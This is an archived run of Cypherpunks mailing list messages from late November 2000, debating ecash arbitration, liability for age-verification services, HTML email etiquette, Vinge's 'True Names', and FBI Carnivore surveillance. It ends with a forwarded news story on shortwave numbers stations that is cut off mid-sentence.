'proof'. Consider that I'm not likely to trust an individual without an arbiter for large transactions. They'd be rather silly to reciprocate. Thus for me to 'prove' that this person buying my boat with the digital cash without some 3rd party is very expensive. So, by injecting a 3rd party who can arbitrate transactions and at the same time distrubite the fixed costs of business outside of the direct transaction fees (if any) across all transactions (thus lowering the users costs) we begin to see a basic system. The idea is that the small number of arbiters cover a large percentage of the market. So, now what's the cost of each arbiter trusting each other? Is it sufficient to stay within the pool of arbiters with respect to inter-arbiter arbitration? What sorts of constraints with respect to 'fairness' algorithms does this impose on the number of arbiters, there clearly must be three (3) but is this sufficient for all transactions? A few of the many questions are: - The 'value' of the digital cash is generally accepted, what sort of 'bolt-on' system would work? We can't lose the existing infrastructure. - It's easily converted to/from other forms of cash. This requires some wide spread arbitration system available when needed. - How do you build a system that will allow arbiter free transactions and at the same time enforce legal/contractual arbitration without involving itself in each transaction to begin with (thus spoiling our arbiter free transaction). [e.g. I don't need to tell Uncle Sam when I buy toilet paper, so I shouldn't have to tell him I don't need him.] - Can be purchased anonymously, but at the same time being able to support a PROVABLE binding between an 'identity' and an an account (and how do we generally blind accounts and then voluntarilly un-blind them as needed?). Not all cases require a provable binding but others will. What this means is that if I'm presented with this key I have a mechanism to prove to my own satisfaction this person is whom they say they are. - Require the arbiter to be responsible financially in the case where they authenticate in error. - Who designs the standards and software? Who do we trust to review and certify the results? How should we indemnify this arbiter of the arbitration software? > First, there is no ecash and so this isn't a reasonable first step > towards getting bearer credentials established and in use. Actually the whole system is going to have to be constructed and dropped into the society pretty much end-to-end complete. It is one of the default costs of entering the market. In for a penny, in for a pound. ____________________________________________________________________ Before a larger group can see the virtue of an idea, a smaller group must first understand it. "Stranger Suns" George Zebrowski The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From maharrop at eisa.net.au Tue Nov 28 23:40:09 2000 From: maharrop at eisa.net.au (Mark Harrop) Date: Wed, 29 Nov 2000 18:40:09 +1100 Subject: CDR: Re: Confirm your request to register for eGroups In-Reply-To: <975472404.78612@egroups.com> Message-ID: <5.0.2.1.2.20001129184006.02f204f0@mail.eisa.net.au> At 15:33 29/11/00, eGroups wrote: >Hello, > >You are receiving this because someone has requested to register the >email address cypherpunks at toad.com with eGroups, a free email group >service. To complete your registration, we need to verify that your >email address is valid and that you do wish to register with our >service. > >To continue with registration, please follow the confirmation steps >below: > >1. Go to the Web site: >http://www.egroups.com/register?confirm&email=cypherpunks at toad.com >2. Enter the following authorization number: 68947 > >To access the eGroups Web site, please visit: >http://www.egroups.com >If you did not request, or do not want, an eGroups account, >please accept our apologies and ignore this message. > > >Regards, > >eGroups Customer Support > >IMPORTANT NOTE: If you believe your email address has been registered >with eGroups without your consent, please forward a copy >of this message to egroups-abuse at yahoo-inc.com > > Cheers! Mark Harrop maharrop at eisa.net.au maharrop at my-deja.com mandhharrop at hotmail.com Moderator of the following Programming Lists: Send a empty message to: Microsoft_Visio-subscribe at egroups.com Microsoft_net-subscribe at egroups.com Microsofts_C_Sharp-subscribe at egroups.com Microsoft_Net-subscribe at topica.com Microsoft_C_Sharp-subscribe at topica.com +<(:o)|<: -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 1842 bytes Desc: not available URL: From obvious at beta.freedom.net Wed Nov 29 15:40:53 2000 From: obvious at beta.freedom.net (obvious at beta.freedom.net) Date: Wed, 29 Nov 2000 18:40:53 -0500 Subject: CDR: Re: Authenticate the "adult field", go to jail... Message-ID: <200011292340.SAA15518@domains.invweb.net> The point is, RAH claimed that selling adult verification services using bearer credentials would be safe because, get this, the porn merchants would pay the verification service using anonymous ecash! First, there is no ecash and so this isn't a reasonable first step towards getting bearer credentials established and in use. Second, the supposed safety and blindness to the evilness of the business partners is solely due to the ecash. The verification service could use simple credit card numbers and passwords exactly as is done today, and still get all the benefits of deniability with regard to knowledge of the evil wares being sold. It is the ecash which provides the blindness on that side. Blinding the customers doesn't help at all in that regard. So RAH was doubly wrong to imply that bearer credentials would have helped out in this case where an age verification service is being prosecuted because one of their clients is selling kiddy porn. And if you can think outside the cypherpunk box for a minute, maybe this will shed a little light on why the MTB didn't get into bed with pornographers. If RAH thinks he can con people into building a business on this model he better think again. Obvious. ________________________________________________________________________ Total Internet Privacy -- get your Freedom Nym at http://www.freedom.net From brflgnk at cotse.com Wed Nov 29 15:49:05 2000 From: brflgnk at cotse.com (brflgnk at cotse.com) Date: Wed, 29 Nov 2000 18:49:05 -0500 Subject: CDR: Re: Vinge In-Reply-To: <20001129170902.B1796@scogan.yi.org> References: <4.3.2.7.2.20001128231650.00ab75a0@pop3.idt.net> <975475106.3a2491a296fb2@webmail.cotse.com> <20001129170902.B1796@scogan.yi.org> Message-ID: <975541745.3a2595f10ca70@webmail.cotse.com> Quoting scogan at scogan.yi.org: > On Wed, 29 Nov 2000, brflgnk at cotse.com wrote: > > Any idea when? Amazon's had me on backorder for 15 months. > > Try your local used bookstore for "True Names". Thanks for the offer, but I'm impatient for the new expanded release. I've had a copy of the original paperback for years. From optin-mailer at goodsexguide.com Wed Nov 29 18:57:23 2000 From: optin-mailer at goodsexguide.com (optin-mailer at goodsexguide.com) Date: Wed, 29 Nov 2000 18:57:23 -0800 (PST) Subject: CDR: Updated.. Message-ID: <200011300257.SAA01884@toad.com> A non-text attachment was scrubbed... Name: not available Type: text/html Size: 11132 bytes Desc: not available URL: From tcmay at got.net Wed Nov 29 19:24:05 2000 From: tcmay at got.net (Tim May) Date: Wed, 29 Nov 2000 19:24:05 -0800 Subject: CDR: Re: Sunders point on copyright infringement & HTML In-Reply-To: References: Message-ID: At 4:57 PM -0600 11/29/00, Jim Choate wrote: >Sunder raises a good point about Netscape (and potentially other software >as well) amd forwarding URL's with attached content. > >Why is the page attached? Because Netscape attaches the page and doesn't >offer a way to send only the URL from right click -> send page. There >isn't a switch to set default behaviour (and there should be). > >So, if you got a bitch about your copyright being infringed, take it to >Netscape since they wrote the program without a mechanism that prevents >users from committing copyright infringement. As you like to say, "Bullshit!" I sometimes excerpt articles here. And to avoid the problems with HTML and "too much" and "too many headers," I usually have to spend time cutting and pasting from my screen to ensure that "What I See Is What I Send" (WISIWIS). I urge _you_ to spend the extra minutes to avoid sending us the clutter you think Netscape requires you to send. Get a clue. > >As to using HTML, this is 2000 (soon to be 2001). Get used to it. Hell, I >might start embedding ANSI VT100 color codes and the occassional ^g. >Animated ANSI would be pretty cool too. No, HTML is _not_ a good idea in e-mail. People are reading e-mail on a variety of platforms, on HP Jornadas, on Palms and Visors, on iPAQs, and so on. And HTML in e-mail rarely is used to any significant effect. You, Greg Newby, and Ernest Hua are the main offenders. I urge you all to get a clue. (And then there's Riad Wahby, whose signed messages are unopenable by Eudora Pro. He is doing _something_ which makes my very-common mailer choke on his messages. Not my problem, as his messages then get deleted by me unread. Again, standard ASCII is the lingua franca which avoids this problem.) --Tim May -- (This .sig file has not been significantly changed since 1992. As the election debacle unfolds, it is time to prepare a new one. Stay tuned.) From sfurlong at acmenet.net Wed Nov 29 16:27:18 2000 From: sfurlong at acmenet.net (Steven Furlong) Date: Wed, 29 Nov 2000 19:27:18 -0500 Subject: CDR: Re: Authenticate the "adult field", go to jail... References: <200011291815.NAA26304@marcella.ecarm.org> Message-ID: <3A259EE6.C0EF4138@acmenet.net> "R. A. Hettinga" wrote: > > At 10:16 AM -0800 on 11/29/00, obvious at beta.freedom.net wrote: > > In fact if anything this kind of prosecution is an argument *against* > > getting into the ecash/ecredential business, especially if it is focused > > on porn as some have proposed. All you need is for someone to use it > > to sell or authorize access to kiddie porn, and you're going to jail. > > It would be interesting to see this tested in court. There is sizeable > legal precedent for the issuers of bearer cash, say a nation-state, not > being held liable for purchases using that cash. The same could be said for > issuers of bearer credentials. Not a good comparison. The nation-states which issue the currency are also the nation-states which make the laws and have (or attempt to have) a monopoly on guns. How well are or were private currencies insulated from legal action? Say, in 19th-century United States? -- Steve Furlong, Computer Condottiere Have GNU, will travel 617-670-3793 sfurlong at acmenet.net From tcmay at got.net Wed Nov 29 19:36:41 2000 From: tcmay at got.net (Tim May) Date: Wed, 29 Nov 2000 19:36:41 -0800 Subject: CDR: Re: Vinge In-Reply-To: <975541745.3a2595f10ca70@webmail.cotse.com> References: <4.3.2.7.2.20001128231650.00ab75a0@pop3.idt.net> <975475106.3a2491a296fb2@webmail.cotse.com> <20001129170902.B1796@scogan.yi.org> <975541745.3a2595f10ca70@webmail.cotse.com> Message-ID: At 6:49 PM -0500 11/29/00, brflgnk at cotse.com wrote: >Quoting scogan at scogan.yi.org: > >> On Wed, 29 Nov 2000, brflgnk at cotse.com wrote: > >> > Any idea when? Amazon's had me on backorder for 15 months. >> >> Try your local used bookstore for "True Names". > >Thanks for the offer, but I'm impatient for the new expanded >release. I've had >a copy of the original paperback for years. And in answer to various e-mails sent to me, including I think from this rvlpeiru at cots.com person, I don't know when the new edition is coming out. Amazon is saying March 2001. Though this is 3 years after I was told it would be coming out (when Jim Frenkel was haranguing me about working over Xmas to finish my chapter, 4 years ago!!!!!!), I think Vinge's winning of the Hugo this past year may make the 2001 date more plausible. Most publishers try to ride the coat tails of things like Hugos. My point about the old edition is that $25 is a lot to pay for what is basically a novella. I predict those who pay $25 and finish the novella two hours later will be saying "I paid $25 for _this_?" TN is a seminal novella, but people should not be expecting it to be the Second Coming. --Tim May -- (This .sig file has not been significantly changed since 1992. As the election debacle unfolds, it is time to prepare a new one. Stay tuned.) From rah at ibuc.com Wed Nov 29 16:54:38 2000 From: rah at ibuc.com (R. A. Hettinga) Date: Wed, 29 Nov 2000 19:54:38 -0500 Subject: CDR: Re: Authenticate the "adult field", go to jail... In-Reply-To: <3A259EE6.C0EF4138@acmenet.net> References: <200011291815.NAA26304@marcella.ecarm.org> <3A259EE6.C0EF4138@acmenet.net> Message-ID: At 7:27 PM -0500 on 11/29/00, Steven Furlong wrote: > Not a good comparison. The nation-states which issue the currency are > also the nation-states which make the laws and have (or attempt to have) > a monopoly on guns. :-). > How well are or were private currencies insulated from legal action? > Say, in 19th-century United States? Indeed. We'll just have to see, I suppose. For IBUC so far I've met much more regulatory enthusiasm for lower transaction cost than I have resistance to potential anonymity. As I'm fond of saying, reality, especially economic reality, is not optional. Cheers, RAH -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From k-elliott at wiu.edu Wed Nov 29 17:31:54 2000 From: k-elliott at wiu.edu (Kevin Elliott) Date: Wed, 29 Nov 2000 20:31:54 -0500 Subject: CDR: Re: Carnivore Probe Mollifies Some In-Reply-To: <3A239B82.B86924BA@ccs.bbk.ac.uk> References: <3b14d4561626c38c96b65593c0236992@noisebox.remailer.org> Message-ID: At 06:54 -0500 on 11/28/00, Ken Brown wrote: >Tim May wrote: > >[...snip...] > >> Well, if I ran a small ISP, I think I'd say: "You got a wiretap order >> for one person. That order has now run its course. Get your machine >> out of my cage." > >[...snip...] > >Of course if they leave the machine in the cage you can always stop >feeding it electricity. Or take it home to show the neighbours. It might >make a good conversation piece at dinner. Or maybe use it as an ashtray. I'm personally of the opinion that every server room should be hosed our regularly. And it would of course be against the law for you to remove the machine or unplug it without an appropriate court order... -- "As nightfall does not come at once, neither does oppression. In both instances, there is a twilight when everything remains seemingly unchanged. And it is in such twilight that we all must be most aware of change in the air--however slight--lest we become unwitting victims of the darkness." -- Justice William O. Douglas ____________________________________________________________________ Kevin "The Cubbie" Elliott ICQ#23758827 From mix at mixmaster.ceti.pl Wed Nov 29 11:40:03 2000 From: mix at mixmaster.ceti.pl (Anonymous Remailer) Date: Wed, 29 Nov 2000 20:40:03 +0100 (CET) Subject: CDR: bell does usenet Message-ID: <02b85c993bf456260cd8e2ca7f62511e@mixmaster.ceti.pl> From weidai at eskimo.com Wed Nov 29 17:42:55 2000 From: weidai at eskimo.com (Wei Dai) Date: Wed, 29 Nov 2000 20:42:55 -0500 Subject: CDR: online copy of Vinge's True Names Message-ID: <20001129174211.N419@eskimo.com> There is an online copy of Vernor Vinge's novel True Names at http://www.neoisp.org/macroscope/vinge/vernor/true_names/truename.htm. I don't know who put it up, but I found it by a doing a Google search for '"true names" "just barely possible"'. From galt at inconnu.isu.edu Wed Nov 29 20:28:05 2000 From: galt at inconnu.isu.edu (John Galt) Date: Wed, 29 Nov 2000 21:28:05 -0700 (MST) Subject: CDR: Re: Lost password In-Reply-To: Message-ID: Cat got your tongue? On Tue, 28 Nov 2000, Console Cowboy wrote: -- FINE, I take it back: UNfuck you! Who is John Galt? galt at inconnu.isu.edu, that's who! From hseaver at harmon.arrowhead.lib.mn.us Wed Nov 29 19:09:36 2000 From: hseaver at harmon.arrowhead.lib.mn.us (Harmon Seaver) Date: Wed, 29 Nov 2000 22:09:36 -0500 Subject: CDR: Re: online copy of Vinge's True Names References: <20001129174211.N419@eskimo.com> Message-ID: <3A25C4D1.1B1694CB@harmon.arrowhead.lib.mn.us> Hmm, all I get when I go there is a blank page, but it looks like some really big files a loading before it gets there.Wonder wht I'm downloading? Wonder if I'm bullet proof? Care to download it and send it to me? Wei Dai wrote: > There is an online copy of Vernor Vinge's novel True Names at > http://www.neoisp.org/macroscope/vinge/vernor/true_names/truename.htm. I > don't know who put it up, but I found it by a doing a Google search for > '"true names" "just barely possible"'. From tcmay at got.net Wed Nov 29 19:25:14 2000 From: tcmay at got.net (Tim May) Date: Wed, 29 Nov 2000 22:25:14 -0500 Subject: CDR: Re: Arthur Anderson black-bagged, NIPC now spooking In-Reply-To: <3.0.6.32.20001129142436.00810990@pop.sprynet.com> References: <3.0.6.32.20001129123906.00818210@pop.sprynet.com> Message-ID: At 5:26 PM -0500 11/29/00, David Honig wrote: >At 04:52 PM 11/29/00 -0500, Tim May wrote: >>At 3:57 PM -0500 11/29/00, David Honig wrote: >>>"Arthur Andersen's office in Vilnius has reportedly >>>fallen victim to electronic surveillance operations. >>> >>>Also a notes that FBI now training NIPC in Carnivore use. "Previously >>>the FBI had sworn NIPC was not engaged in law enforcement surveillance." >>>p 5 same issue. >> >>I don't know what "NIPC" means, but I thought at first you meant that >>NIPC was in Lithuania. Perhaps not. > >Um, was it unreasonable to assume that readers of dis here forum >would recognize Nat'l Infrastruct. Protection Center (in the context of >FBI)? > >TimSim 2.01 indicates you should have recognized the acronym. Do I need a >service pack :-) update on that? I don't try to keep current on all of the acronyms used by the TLAs for their IFTC efforts. Part of AOL, I guess. --Tim May -- (This .sig file has not been significantly changed since 1992. As the election debacle unfolds, it is time to prepare a new one. Stay tuned.) From declan at well.com Wed Nov 29 19:40:47 2000 From: declan at well.com (Declan McCullagh) Date: Wed, 29 Nov 2000 22:40:47 -0500 Subject: CDR: Re: Lost password In-Reply-To: ; from everding@technomystic.org on Tue, Nov 28, 2000 at 10:07:47AM -0800 References: <975510976.7843@egroups.com> Message-ID: <20001129224047.A23196@cluebot.com> Aaargh. This "has anyone though [sic]" mail must be a troll. -Declan (though maybe it would be useful to have the toad.com addr bounce back "here's the current info" mail rather than injecting messages into the distributed majordomo network) On Tue, Nov 28, 2000 at 10:07:47AM -0800, Console Cowboy wrote: > Has anyone though about setting this list to only accept mail from it's > members? That would seem to solve quite a few of these issues (issues > meaning lots of spam, like 2-5 messages a day of spam from this address.) > > { BE -----------1011.1110------------------ everding at technomystic.org } > This must be morning. I never could get the hang of mornings. > {--- GPG public key @ http://www.technomystic.org/~everding/gpgkey ---} > > On 29 Nov 2000, eGroups Notification wrote: > > > > > Hello, > > > > Thanks for using eGroups, home to free, easy, email groups. > > We have received your request for information about a forgotten > > password. > > > > * If you requested this notice and still don't remember your > > password, please follow these steps to create a new > > password: > > > > 1. In your web browser, go to: > > http://www.egroups.com/lostpassword?user=cypherpunks at toad.com > > > > 2. Enter this reauthorization number: 68947 > > > > 3. You will be asked to create a new permanent password. > > Your new password cannot be the reauthorization > > number. > > > > * If you did not request this notice, please ignore this > > message. Your eGroups account and current password have > > not been affected and you can continue using our free > > service as usual. If you believe someone is attempting to > > misuse your email account, please forward this message to > > egroups-abuse at yahoo-inc.com. > > > > > > Regards, > > > > eGroups Customer Support > > > > > > > > > > > > > > > > From declan at well.com Wed Nov 29 19:50:20 2000 From: declan at well.com (Declan McCullagh) Date: Wed, 29 Nov 2000 22:50:20 -0500 Subject: CDR: Re: Arthur Anderson black-bagged, NIPC now spooking In-Reply-To: ; from tcmay@got.net on Wed, Nov 29, 2000 at 04:52:49PM -0500 References: <3.0.6.32.20001129123906.00818210@pop.sprynet.com> Message-ID: <20001129231140.B23196@cluebot.com> On Wed, Nov 29, 2000 at 04:52:49PM -0500, Tim May wrote: > I don't know what "NIPC" means, but I thought at first you meant that > NIPC was in Lithuania. Perhaps not. FBI's National Infrastructure Protection Center. I'm on an ABA panel tomorrow with Michael Vatis, the head. Should be cybercast; I'll find details. -Declan From rah at shipwright.com Wed Nov 29 20:11:51 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Wed, 29 Nov 2000 23:11:51 -0500 Subject: CDR: Re: Lost password In-Reply-To: <20001129224047.A23196@cluebot.com> References: <975510976.7843@egroups.com> <20001129224047.A23196@cluebot.com> Message-ID: At 10:40 PM -0500 on 11/29/00, Declan McCullagh wrote: > (though maybe it would be useful to have the toad.com addr bounce > back "here's the current info" mail rather than injecting messages > into the distributed majordomo network) Even more fun might be for the network to just killfile cypherpunks at toad.com traffic altogether. Time to put on the long pants, thanks John for all the fish, and all that. Cheers, RAH -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From aethr at earthlink.net Wed Nov 29 21:15:29 2000 From: aethr at earthlink.net (Allen Ethridge) Date: Wed, 29 Nov 2000 23:15:29 -0600 Subject: CDR: Imagine In-Reply-To: <5.0.0.25.0.20001128132323.044efae0@popserver.panix.com> Message-ID: <20001129231532-r01010600-d26598ac@209.245.234.174> On 11/28/00 at 2:16 PM, frissell at panix.com (Duncan Frissell) wrote: > At 09:31 PM 11/27/00 -0600, No User wrote: > > >1. Imagine that we read of an election occurring anywhere in the third > >world in > >which the self declared winner was > > > George was not "self-declared". He holds certifications of victory from > the elections officials of 29 states totalling 271 electoral votes. States don't certify presidential victories. The courts haven't completely weighed in. And the electors haven't cast their votes yet. So anyone claiming victory already is clearly a "self-declared" winner. From bjonkman at sobac.com Wed Nov 29 20:36:31 2000 From: bjonkman at sobac.com (Bob Jonkman) Date: Wed, 29 Nov 2000 23:36:31 -0500 Subject: CDR: Re: Arthur Anderson black-bagged, NIPC now spooking References: Message-ID: <3A2592A1.18975.B02F8A8@localhost> I want to tell you what David Honig said about "Re: Arthur Anderson black-bagged, N" on 29 Nov 2000, at 17:26 > Um, was it unreasonable to assume that readers of dis here forum > would recognize Nat'l Infrastruct. Protection Center (in the context of > FBI)? Perhaps. Some of us are lurking here to learn more about this stuff, so any and all clarifications on obscure acronyms are appreciated. --Bob. From rah at shipwright.com Wed Nov 29 20:37:55 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Wed, 29 Nov 2000 23:37:55 -0500 Subject: CDR: 'Virtual' only counts in...(was Re: ecash, cut & choose and private credentials) In-Reply-To: <20001129162502.A2303@rho.invalid> References: <200011290341.WAA01102@cypherspace.org> <200011290450.XAA01454@cypherspace.org> <20001129162502.A2303@rho.invalid> Message-ID: At 4:25 PM -0500 on 11/29/00, Ulf Möller wrote: > On Tue, Nov 28, 2000 at 11:50:43PM -0500, Adam Back wrote: > >> I was going to read about visa cash -- but more fscking shockwave -- >> the frontpage is shockwave no less so you get zip information out of >> them. > > I already showed it to Adam, but in case anybody else was wondering: > There is not in fact any information on that web site, other than a > bombastic animated "under construction" sign and an e-mail address. On another, mostly related topic -- and, no, I haven't actually done it, just some direct physical phenomena -- I would bet that a web search for "Virtual Visa" should give you a chuckle or two... Cheers, RAH Whose life keeps getting weirder these days, and whose ears are still ringing from a rather, um, vigorous, discussion in Kensington a month or so ago. I should have figured out what was going to happen when the large-screen TVs in the reception area kept playing commercials -- over, and over, and over, ... -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From hseaver at harmon.arrowhead.lib.mn.us Wed Nov 29 20:41:37 2000 From: hseaver at harmon.arrowhead.lib.mn.us (Harmon Seaver) Date: Wed, 29 Nov 2000 23:41:37 -0500 Subject: CDR: Re: Vinge References: <4.3.2.7.2.20001128231650.00ab75a0@pop3.idt.net> Message-ID: <3A25DA70.DF763D70@harmon.arrowhead.lib.mn.us> Tim May wrote: > > My point about the old edition is that $25 is a lot to pay for what > is basically a novella. I predict those who pay $25 and finish the > novella two hours later will be saying "I paid $25 for _this_?" > I don't know - 25 bucks doesn't get you much anymore. I spent $40 tonight in a mediocre resturant for some walleye and a couple glasses of Merlot. About 2 hours and they didn't even have a cute waitress. I'm sure the book will be much more filling. From ravage at ssz.com Wed Nov 29 22:41:40 2000 From: ravage at ssz.com (Jim Choate) Date: Thu, 30 Nov 2000 00:41:40 -0600 (CST) Subject: CDR: Re: Sunders point on copyright infringement & HTML In-Reply-To: Message-ID: On Wed, 29 Nov 2000, Tim May wrote: > As you like to say, "Bullshit!" > > I sometimes excerpt articles here. And to avoid the problems with > HTML and "too much" and "too many headers," I usually have to spend > time cutting and pasting from my screen to ensure that "What I See Is > What I Send" (WISIWIS). Exactly why should how you decide to spend your time in any way commit me to the same? Fundamentally socialist thinking. ____________________________________________________________________ Before a larger group can see the virtue of an idea, a smaller group must first understand it. "Stranger Suns" George Zebrowski The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From tcmay at got.net Thu Nov 30 01:46:18 2000 From: tcmay at got.net (Tim May) Date: Thu, 30 Nov 2000 01:46:18 -0800 Subject: CDR: Re: Sunders point on copyright infringement & HTML In-Reply-To: <20001130041309.C16342@positron.mit.edu> References: <20001130041309.C16342@positron.mit.edu> Message-ID: A non-text attachment was scrubbed... Name: not available Type: application/pgp Size: 3149 bytes Desc: not available URL: From tcmay at got.net Thu Nov 30 01:57:19 2000 From: tcmay at got.net (Tim May) Date: Thu, 30 Nov 2000 01:57:19 -0800 Subject: CDR: Pests on the List In-Reply-To: References: Message-ID: At 12:41 AM -0600 11/30/00, Jim Choate wrote: >On Wed, 29 Nov 2000, Tim May wrote: > >> As you like to say, "Bullshit!" >> >> I sometimes excerpt articles here. And to avoid the problems with >> HTML and "too much" and "too many headers," I usually have to spend >> time cutting and pasting from my screen to ensure that "What I See Is >> What I Send" (WISIWIS). > >Exactly why should how you decide to spend your time in any way commit me >to the same? > >Fundamentally socialist thinking. > This attitude summarizes why you are such a pest. You clutter the list with forwarded articles filled with headers and footers and ads and all the junk appearing on a typical browser page, then you claim that the reason you do this is because Netscape gave you no options. I describe how I get around this by spending a few minutes tidying-up the cruft. Your response is this message, above. A pest. --Tim May -- (This .sig file has not been significantly changed since 1992. As the election debacle unfolds, it is time to prepare a new one. Stay tuned.) From anonymous at openpgp.net Wed Nov 29 23:49:34 2000 From: anonymous at openpgp.net (anonymous at openpgp.net) Date: Thu, 30 Nov 2000 02:49:34 -0500 Subject: CDR: Judge Backs Anonymous 4 in Case Message-ID: <6cda7871035e9c84e4c3a2de2b9cc21e@noisebox.remailer.org> JJJJJMORRISTOWN, N.J.--A Superior Court judge has refused to unmask four individuals who posted anonymous online messages about a software company. JJJJJDendrite International, based in Morristown, wanted the judge to publicly identify the Internet users, who it says revealed company secrets and committed libel against Dendrite. JJJJJSuperior Court Judge Kenneth C. MacKenzie on Tuesday sided with the defendants. JJJJJIn the lawsuit, filed in May, Dendrite alleged false statements about the company were made by three of the defendants, and that two who identified themselves as company employees violated their contracts to not criticize the company. JJJJJDendrite requested that Internet portal Yahoo! release the names of the four, identified in court papers as "ajcazz," "gacbar," "xxplrr" and "implementor extrodinaire." JJJJJ"By setting forth strict evidentiary standards for compelled identification, and then showing that these standards can produce real protection for anonymity, this decision is a tremendous victory for free speech," said Paul Levy, an attorney with Public Citizen, the consumer advocacy group founded by Ralph Nader, which intervened in the case on behalf of the defendants. JJJJJDendrite referred inquiries to their Los Angeles-based lawyer, Robert Bonner, who did not immediately return a telephone message from The Associated Press seeking comment. From rsw at MIT.EDU Thu Nov 30 01:13:09 2000 From: rsw at MIT.EDU (Riad S. Wahby) Date: Thu, 30 Nov 2000 04:13:09 -0500 Subject: CDR: Re: Sunders point on copyright infringement & HTML In-Reply-To: ; from tcmay@got.net on Wed, Nov 29, 2000 at 07:24:05PM -0800 References: Message-ID: <20001130041309.C16342@positron.mit.edu> A non-text attachment was scrubbed... Name: mutt-positron-16342-48 Type: application/pgp Size: 1367 bytes Desc: not available URL: From tcmay at got.net Thu Nov 30 01:51:04 2000 From: tcmay at got.net (Tim May) Date: Thu, 30 Nov 2000 04:51:04 -0500 Subject: CDR: Re: Vinge In-Reply-To: <3A25DA70.DF763D70@harmon.arrowhead.lib.mn.us> References: <4.3.2.7.2.20001128231650.00ab75a0@pop3.idt.net> Message-ID: At 11:41 PM -0500 11/29/00, Harmon Seaver wrote: >Tim May wrote: > >> >> My point about the old edition is that $25 is a lot to pay for what >> is basically a novella. I predict those who pay $25 and finish the >> novella two hours later will be saying "I paid $25 for _this_?" >> > > I don't know - 25 bucks doesn't get you much anymore. I spent $40 >tonight in a mediocre resturant for some walleye and a couple glasses of >Merlot. About 2 hours and they didn't even have a cute waitress. I'm sure >the book will be much more filling. To each their own. Spending $40 for one for dinner is a lot of money, esp. if you claim the wine was mediocre and the waitress wasn't cute. I don't spend this kind of money. Could be why I retired when I was 34. Think about it. Front-load your savings. Skip the $40 dinners and the $25 paperback novels. Take the $400 or whatever per month and invest it. --Tim May -- (This .sig file has not been significantly changed since 1992. As the election debacle unfolds, it is time to prepare a new one. Stay tuned.) From wolf at priori.net Thu Nov 30 05:58:09 2000 From: wolf at priori.net (Meyer Wolfsheim) Date: Thu, 30 Nov 2000 05:58:09 -0800 (PST) Subject: CDR: Re: online copy of Vinge's True Names In-Reply-To: <3A263639.6A75BF26@ccs.bbk.ac.uk> Message-ID: <200011301217.HAA28748@Prometheus.schaefer.nu> A non-text attachment was scrubbed... Name: not available Type: application/pgp Size: 826 bytes Desc: not available URL: From k.brown at ccs.bbk.ac.uk Thu Nov 30 03:14:03 2000 From: k.brown at ccs.bbk.ac.uk (Ken Brown) Date: Thu, 30 Nov 2000 06:14:03 -0500 Subject: CDR: Re: online copy of Vinge's True Names References: <20001129174211.N419@eskimo.com> <3A25C4D1.1B1694CB@harmon.arrowhead.lib.mn.us> Message-ID: <3A263639.6A75BF26@ccs.bbk.ac.uk> Check the HTML source The page contains the text of a story, but there are HTML errors that prevent it being displayed on my browser) Adding a at the end fixes it. Ken Hmmm.... Harmon Seaver wrote: > > Hmm, all I get when I go there is a blank page, but it looks like some > really big files a loading before it gets there.Wonder wht I'm downloading? > Wonder if I'm bullet proof? Care to download it and send it to me? > > Wei Dai wrote: > > > There is an online copy of Vernor Vinge's novel True Names at > > http://www.neoisp.org/macroscope/vinge/vernor/true_names/truename.htm. I > > don't know who put it up, but I found it by a doing a Google search for > > '"true names" "just barely possible"'. From hseaver at harmon.arrowhead.lib.mn.us Thu Nov 30 04:53:54 2000 From: hseaver at harmon.arrowhead.lib.mn.us (Harmon Seaver) Date: Thu, 30 Nov 2000 07:53:54 -0500 Subject: CDR: Re: Sunders point on copyright infringement & HTML References: <20001130041309.C16342@positron.mit.edu> <3A2639DE.62A7AE38@ccs.bbk.ac.uk> Message-ID: <3A264DD9.B39E46A7@harmon.arrowhead.lib.mn.us> Ken Brown wrote: > The following is the entire readable content of the mail I just > received: > > "Riad S. Wahby" wrote: > > > > mutt-positron-16342-48Name: mutt-positron-16342-48 > > Type: Plain Text (text/plain) > > I am trying to look at it from Netscape though... > > Huh, that's interesting -- I'm using NS as well, ver. 4.75, on a Mac, and Riad's message worked fine - as they usually do. I'll look at it later at work with NS 4.75 and NS 6 on linux and see if there's any difference. Could try Mozilla as well. I've noticed recent versions of NS do weird things with outgoing email -- at least the linux version, but not the Mac. Forwarded mail sent as an attachment either goes as a blank page or as unreadable hex. Inline forwards work fine. And posts sent to usenet from linux NS show up as mime or hex as well, and are unreadable with some readers. And I somehow sent a html message to this list the other day with NS6, although it hasn't done it since. Very strange behavior. One thing that NS for Mac does that I wish it did on other platforms is that it interfaces with pgp very nicely. Also will be looking at the "True Names" site from there too -- altough a kind soul sent me the zipped copy. From believer at telepath.com Thu Nov 30 06:15:20 2000 From: believer at telepath.com (by way of believer@telepath.com) Date: Thu, 30 Nov 2000 08:15:20 -0600 Subject: ip: Hobbyists intercept spy transmissions Message-ID: http://www.foxnews.com/scitech/113000/numbers.sml For Some, Intercepting Spy Transmissions Is Just a Hobby By Michael Della Bitta FOXNews.com Spending nights intercepting spy agencies' secret transmissions may sound like an exciting career. But for shortwave enthusiast Chris Smolinski, it's just a hobby. Smolinski and others tune in to numbers stations broadcasts � instructions for deployed secret agents encoded into a sequence of numbers and read aloud on shortwave radio. Listening to a long string of numbers read over the radio may sound like dullsville, but Smolinski disagrees. "They may think it's a waste of time, but then they probably spend 30 hours a week watching 